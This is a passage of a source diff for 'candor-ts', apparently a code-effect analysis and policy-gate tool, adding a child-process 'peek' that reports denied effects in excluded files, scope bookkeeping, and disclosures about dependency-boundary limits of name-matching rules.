  // so it says so. A producer MUST NOT list a surface it does not compute — that turns "unimplemented" into a
6052
6600
  // false "undetermined", which is the inversion the field exists to prevent.
6053
6601
  const envelope = { candor: { version: ENGINE_VERSION, toolchain: `node-${process.versions.node}`, spec: SPEC_VERSION },
6054
- resolves: ["fs"], package: pkgName, functions };
6602
+ // ⟨0.29⟩ `incomplete` joins `resolves`: an optional per-function refinement surface
6603
+ // whose absence is overloaded the way `fs`'s was — "does not compute undetermined
6604
+ // locators" vs "computed them and found none". This engine computes it, so it says so.
6605
+ resolves: ["fs", "incomplete"], package: pkgName, functions };
6055
6606
  // ⟨0.15 staged⟩ the κ-coverage ledger as DATA (COVERAGE-DESIGN.md §1): ONE sorted form (count desc,
6056
6607
  // name asc — exactly the stderr line's order) feeds the envelope field, the stderr receipt below, and
6057
6608
  // the --gate-json advisory, so the three can never tell different stories.
@@ -6093,9 +6644,153 @@ for (const [name, rec] of fns) cg[name] = [...rec.edges].sort();
6093
6644
  // ⟨0.28⟩ …and through `writeSinkAtomic`, so a symlinked or multiply-linked destination is written where
6094
6645
  // the operator points rather than replaced. Reports have the same layout exposure as verdicts.
6095
6646
  const writeAtomic = (file, text) => writeSinkAtomic(file, text);
6647
+ // ── ⟨0.29⟩ THE PEEK ───────────────────────────────────────────────────────────────────────────────
6648
+ // Read the files this run deliberately did NOT judge, and say so when they hold an effect the policy
6649
+ // DENIES. The verdict does not move: `outOfScope` is its own kind and never a violation, because a file
6650
+ // the gate declined to judge must not decide an exit code.
6651
+ //
6652
+ // A CHILD `scan.mjs`, not a second analysis path. candor-rust buys this by recursing into `scan_one`;
6653
+ // this engine is a script rather than a callable function, so the same guarantee comes from the same
6654
+ // BINARY over a different file set. That identity is the design constraint, not a convenience: a bespoke
6655
+ // second pass would be a SECOND OPINION, and a drifted second opinion reported as a warning is worse
6656
+ // than no warning — the reader cannot tell a real finding from two code paths disagreeing. The child is
6657
+ // given no policy, so it cannot gate and cannot recurse.
6658
+ //
6659
+ // PLACED HERE, ABOVE THE WRITE, on purpose. The gate block runs AFTER the envelope is serialised, so
6660
+ // computing this there would have put the finding on stderr and left it out of the artifact — the split
6661
+ // ⟨0.26⟩ calls worse than saying nothing. It reads the policy itself rather than borrowing the gate's
6662
+ // parse: one extra read of the same bytes through the same `parsePolicy`, not a second interpretation.
6663
+ //
6664
+ // POLICY-SCOPED AND POLICY-BOUNDED, which is the whole reason it stays quiet. No policy ⇒ the key is
6665
+ // ABSENT, because nothing was asked and `[]` would be a claim. With a policy, only effects that policy
6666
+ // DENIES are reported — otherwise the noise floor is "everything you excluded".
6667
+ let outOfScopeFindings = null;
6668
+ // ⟨0.29⟩ DID THE PEEK ACTUALLY READ ANYTHING? `peeked` was a constant of the exclusion CLASS, so a peek
6669
+ // that never ran, could not spawn, or produced unparseable output still published `peeked: true` beside
6670
+ // `outOfScope: []` — byte-identical to a clean peek, and the ⟨0.26⟩ partial-manifest failure inside the
6671
+ // rung built to prevent it. It is an outcome now.
6672
+ let peekRead = false;
6673
+ // ⟨0.29⟩ …AND DID IT READ THEM ALL? A child report the parent could PARSE is a different fact from every
6674
+ // excluded file having been opened. The child publishes its own ⟨0.21⟩ `unanalyzed` manifest and this
6675
+ // code read only `functions`, so an excluded file that failed to parse INSIDE the peek produced
6676
+ // `peeked: true` beside `outOfScope: []` — the same overclaim one comment up, one level down. `peeked` is
6677
+ // per CLASS, so the answer is too: a class is peeked only when no file of that class went unread.
6678
+ const peekUnread = new Set();
6679
+ let peekUnattributed = false;
6680
+ if (policyPath && excludedFiles.length) {
6681
+ let denied = new Set();
6682
+ try {
6683
+ const pol = parsePolicy(fs.readFileSync(policyPath, "utf8"), {});
6684
+ // ⟨0.29⟩ A REFUSED POLICY LEAVES THE KEY ABSENT (SPEC §2). The peek is a producer reading the policy,
6685
+ // so §3.1 binds it exactly as it binds the gate: over a policy no route will honour, `outOfScope: []`
6686
+ // claims a look taken against rules that never stood, and the `denied` set it would look for is the
6687
+ // parser's SALVAGE of an unhonourable file — the rewriting `fatalPolicyErrors` exists to refuse.
6688
+ // candor-java already withheld here; this engine, candor-rust and candor-swift did not.
6689
+ if (!fatalPolicyErrors(pol.errors).length) {
6690
+ denied = new Set((pol.deny ?? []).flatMap((r) => r.effects ?? []));
6691
+ }
6692
+ } catch { /* an unreadable policy is the gate's business to refuse, not the peek's */ }
6693
+ if (denied.size) {
6694
+ outOfScopeFindings = [];
6695
+ const peekDir = fs.mkdtempSync(path.join(os.tmpdir(), "candor-ts-peek-"));
6696
+ try {
6697
+ fs.writeFileSync(path.join(peekDir, "tsconfig.json"), JSON.stringify({
6698
+ compilerOptions: { target: "es2022", module: "esnext", allowJs: true, noEmit: true },
6699
+ files: excludedFiles.map((e) => path.resolve(rootDir, e.path)),
6700
+ }));
6701
+ const out = execFileSync(process.execPath,
6702
+ [fileURLToPath(import.meta.url), path.join(peekDir, "tsconfig.json"), "--json",
6703
+ "--peek-excluded"],
6704
+ // ⟨0.29⟩ `timeout` beside `maxBuffer`: the peek re-parses exactly the files this engine has never
6705
+ // parsed — vendored trees, generated code, declaration bundles — i.e. the inputs least likely to
6706
+ // have been exercised. Without a deadline one pathological file turns into a hung scan and a hung
6707
+ // CI job, which contradicts this feature's own rule that a peek which cannot run must not fail
6708
+ // the gate: hanging is the one failure that stops the gate completing at all. On timeout
6709
+ // `execFileSync` throws, the catch below leaves the findings as far as they got, and `peekRead`
6710
+ // stays false so no class claims to have been read.
6711
+ { encoding: "utf8", maxBuffer: 1 << 28, timeout: 120_000,
6712
+ stdio: ["ignore", "pipe", "ignore"] });
6713
+ const doc = JSON.parse(out);
6714
+ peekRead = true; // the child returned a report this run could read — see `peekRead`
6715
+ for (const u of Array.isArray(doc.unanalyzed) ? doc.unanalyzed : []) {
6716
+ const where = String(u?.path ?? "");
6717
+ const hit = excludedFiles.find((e) => where.endsWith(e.path)
6718
+ || where.endsWith(path.basename(e.path)));
6719
+ // The peek walks ONLY excluded files, so an unread path matching no exclusion is one this code
6720
+ // cannot attribute — fail closed across every class rather than let one unattributable file leave
6721
+ // all of them claiming completeness.
6722
+ if (hit) peekUnread.add(hit.cls); else peekUnattributed = true;
6723
+ }
6724
+ for (const f of doc.functions ?? []) {
6725
+ const hits = (f.inferred ?? []).filter((e) => denied.has(e));
6726
+ if (!hits.length) continue;
6727
+ // NAME IT FROM THE PROJECT, NOT FROM THE CHILD'S TEMP ROOT. The child's tsconfig lives in a
6728
+ // temp directory, so it derives module qualifiers from THAT root and the fn came out as a
6729
+ // dotted absolute path — accurate, unreadable, and pointing at a directory that no longer
6730
+ // exists by the time anyone reads it. The project-relative path is already known here (it is
6731
+ // what was excluded), so match on basename and report the path we already trust.
6732
+ const childLoc = (f.loc ?? "").split(":")[0] ?? "";
6733
+ const hit = excludedFiles.find((e) => childLoc.endsWith(e.path)
6734
+ || childLoc.endsWith(path.basename(e.path)));
6735
+ const where = hit?.path ?? childLoc;
6736
+ const cls = hit?.cls ?? "excluded";
6737
+ outOfScopeFindings.push({
6738
+ fn: f.fn.split(".").pop() ?? f.fn, path: where, effects: hits, class: cls,
6739
+ reason: `OUTSIDE this scan's scope (${cls}) — the gate did NOT judge it. `
6740
+ + "The effect is real; the verdict does not account for it.",
6741
+ });
6742
+ }
6743
+ outOfScopeFindings.sort((a, b) => (a.path + a.fn).localeCompare(b.path + b.fn));
6744
+ } catch {
6745
+ // A PEEK THAT CANNOT RUN MUST NOT FAIL THE GATE — it is advisory by construction, and turning a
6746
+ // child-process failure into a red gate would make the safest thing an operator can do (add a
6747
+ // policy) the thing that breaks their build. It stays `[]`: a policy WAS configured, so the key is
6748
+ // a real answer, and "we looked and found nothing" is what an empty list says.
6749
+ } finally {
6750
+ fs.rmSync(peekDir, { recursive: true, force: true });
6751
+ }
6752
+ }
6753
+ }
6754
+ if (outOfScopeFindings) {
6755
+ envelope.outOfScope = outOfScopeFindings;
6756
+ // SAY IT ON STDERR TOO. The report block is for machines; an operator reading `policy ✓` needs to know
6757
+ // in the same breath that a file this scan did not judge holds the effect they denied.
6758
+ for (const f of outOfScopeFindings) {
6759
+ console.error(`candor-ts: ⚠ ${f.fn} performs ${f.effects.join("+")} — OUTSIDE this scan's scope `
6760
+ + `(${f.class}), so the gate did NOT judge it.`);
6761
+ if (f.path) console.error(` ${f.path}`);
6762
+ }
6763
+ if (outOfScopeFindings.length) {
6764
+ console.error(" The verdict does not account for "
6765
+ + (outOfScopeFindings.length === 1 ? "it." : `these ${outOfScopeFindings.length}.`));
6766
+ }
6767
+ }
6768
+
6769
+ // ⟨0.29⟩ THE SCOPE, BUILT AFTER THE PEEK — `peeked` is an OUTCOME, so this block cannot be assembled
6770
+ // until the peek has run. It sat above the peek and read `peekRead` before anything could set it, which
6771
+ // is the ordering bug the flag's own purpose makes fatal: a field that exists to say whether a read
6772
+ // happened, computed before the read. Emitted even when EMPTY — ⟨0.27⟩ makes zero-match a positive
6773
+ // statement, and ⟨0.26⟩ makes an ABSENT key mean "this producer cannot answer".
6774
+ {
6775
+ const byClass = new Map();
6776
+ for (const e of excludedFiles) byClass.set(e.cls, (byClass.get(e.cls) ?? 0) + 1);
6777
+ envelope.excluded = [...byClass.entries()].sort((a, b) => a[0].localeCompare(b[0]))
6778
+ .map(([cls, count]) => ({ class: cls, count,
6779
+ // `peekUnread` subtracts the classes the peek RAN over and could not read:
6780
+ // parse failures are per file, so the claim is per class.
6781
+ peeked: peekRead && !peekUnattributed && !peekUnread.has(cls),
6782
+ reason: EXCLUDED_REASON[cls] ?? `excluded (${cls})` }));
6783
+ }
6784
+
6096
6785
  // --json: print the §2 envelope to STDOUT instead of writing the report files (matches candor-scan/Rust).
6097
6786
  if (wantJson) {
6098
- console.log(JSON.stringify(envelope, null, 1));
6787
+ // writeStdoutSync, NOT console.log. MEASURED over a 400-file fixture with a violating policy: 95281
6788
+ // bytes to a FILE and valid JSON, **65536 bytes through a PIPE and a JSONDecodeError** — exactly the
6789
+ // pipe buffer, exit 1 either way, nothing on stderr. console.log is asynchronous on a pipe and the
6790
+ // process.exit() sites below discard what is still buffered. This is the machine-consumer path
6791
+ // (`candor-ts src --json --policy p | jq`), so the loss is silent and the document is invalid, which
6792
+ // is worse than the `--agents` truncation that got this class fixed in the first place.
6793
+ writeStdoutSync(JSON.stringify(envelope, null, 1) + "\n", "--json");
6099
6794
  // ⟨0.28⟩ REPORT STREAM LATCH — a successful envelope went to stdout, so a later exit-2 site (baseline
6100
6795
  // corrupt, policy refusal, gate NOT certified over unanalyzed) MUST NOT also write a fail-closed
6101
6796
  // placeholder there. Two documents on one stream parses as neither — the same shape the two-stream
@@ -6509,7 +7204,10 @@ if (policyPath !== null) {
6509
7204
  // `deny Fs`, absent from the exit-1 document's list, as evaluated-and-passed. The SHARED builder,
6510
7205
  // so this document and `gate --report`'s stay byte-equal (§3.1's acceptance test for the routes).
6511
7206
  policyRefusal = { why, unevaluated: policyRefusalUnevaluated(text, policyErrs) };
6512
- } else if (!gatePolicy.deny.length && !gatePolicy.allow.length && !gatePolicy.forbid.length) {
7207
+ // ⟨0.29⟩ …counting `only` too: an `only`-only policy is a LIVE gate, and refusing it here would
7208
+ // be the ⟨0.28⟩ fail-closed guard turned into a false refusal by the rung that added the kind.
7209
+ } else if (!gatePolicy.deny.length && !gatePolicy.allow.length && !gatePolicy.forbid.length
7210
+ && !(gatePolicy.only ?? []).length) {
6513
7211
  // ⟨0.28⟩ A CONFIGURED POLICY THAT YIELDED ZERO RULES IS A BROKEN GATE CONFIG (SPEC §6.2) — the same
6514
7212
  // refusal posture as the two branches above, and for the reason §6.2 already gives for an unreadable
6515
7213
  // FILE: "a typo'd policy path that runs green is a gate that silently passes everything". MEASURED
@@ -6560,6 +7258,33 @@ if (policyPath !== null) {
6560
7258
  // code is deliberately untouched: a zero-match rule is legitimate when one policy is shared across
6561
7259
  // repositories and a layer exists in only some of them, so refusal would make a shared policy
6562
7260
  // unusable. Printed before the violations so a typo'd layer name is visible above the verdict.
7261
+ // ⟨0.29⟩ THE NAME RULES STOP AT THE SCAN BOUNDARY, AND NOW SAY SO. `forbid A -> B` and
7262
+ // `only A -> B …` are matched over the call graph; a chained dependency contributes EFFECTS, not
7263
+ // EDGES, so a function that calls into a dep has an EMPTY adjacency and the crossing is invisible.
7264
+ // MEASURED: with a dep chained, `only model -> util` answered `policy ✓` over
7265
+ // `model.viaDep() -> deplib.infra.dbRead()` while a LOCAL unpermitted scope in the same run fired
7266
+ // AS-EFF-011 — so the rule was armed and the boundary, not the rule, was the gap.
7267
+ //
7268
+ // WORSE FOR `only` THAN FOR `forbid`, which is why this is disclosed rather than left implicit:
7269
+ // `forbid` asks whether ONE named crossing is present, so missing a dep crossing under-reports one
7270
+ // prohibition; `only` asserts A reaches the listed scopes AND NOTHING ELSE — a COMPLETENESS claim —
7271
+ // and it exists precisely because `forbid` fails open. A package that calls a third-party library is
7272
+ // not a leaf, and without this line the gate called it one.
7273
+ //
7274
+ // DISCLOSURE, NOT A VERDICT CHANGE, and not a re-scoping either: making the rules cross would need
7275
+ // dep-report EDGES, and it would force operators to enumerate third-party scopes in an `only` list —
7276
+ // the enumeration-that-rots that form was designed to escape. The ⟨0.29⟩ `outOfScope` posture
7277
+ // exactly: say what was not judged, leave the exit code alone.
7278
+ if (depChained()) {
7279
+ const named = [...(gatePolicy.forbid ?? []), ...(gatePolicy.only ?? [])];
7280
+ if (named.length) {
7281
+ console.error(`candor-ts: ⚠ ${named.length} name-matching rule(s) (\`forbid\`/\`only\`) were `
7282
+ + "matched over THIS scan's call graph only — a chained dependency contributes effects, not "
7283
+ + "call edges, so a crossing INTO a dependency is invisible to them. `deny`/`allow` still "
7284
+ + "cross (effects propagate); an `only` rule cannot certify that a package is a leaf when it "
7285
+ + "calls into one of its dependencies.");
7286
+ }
7287
+ }
6563
7288
  for (const raw of gateOut.zeroMatch ?? []) {
6564
7289
  console.error(`candor: policy rule matched NO function — \`${raw}\`. It was evaluated and bound `
6565
7290
  + `nothing, so it cannot have caught anything. Legitimate when one policy is shared across `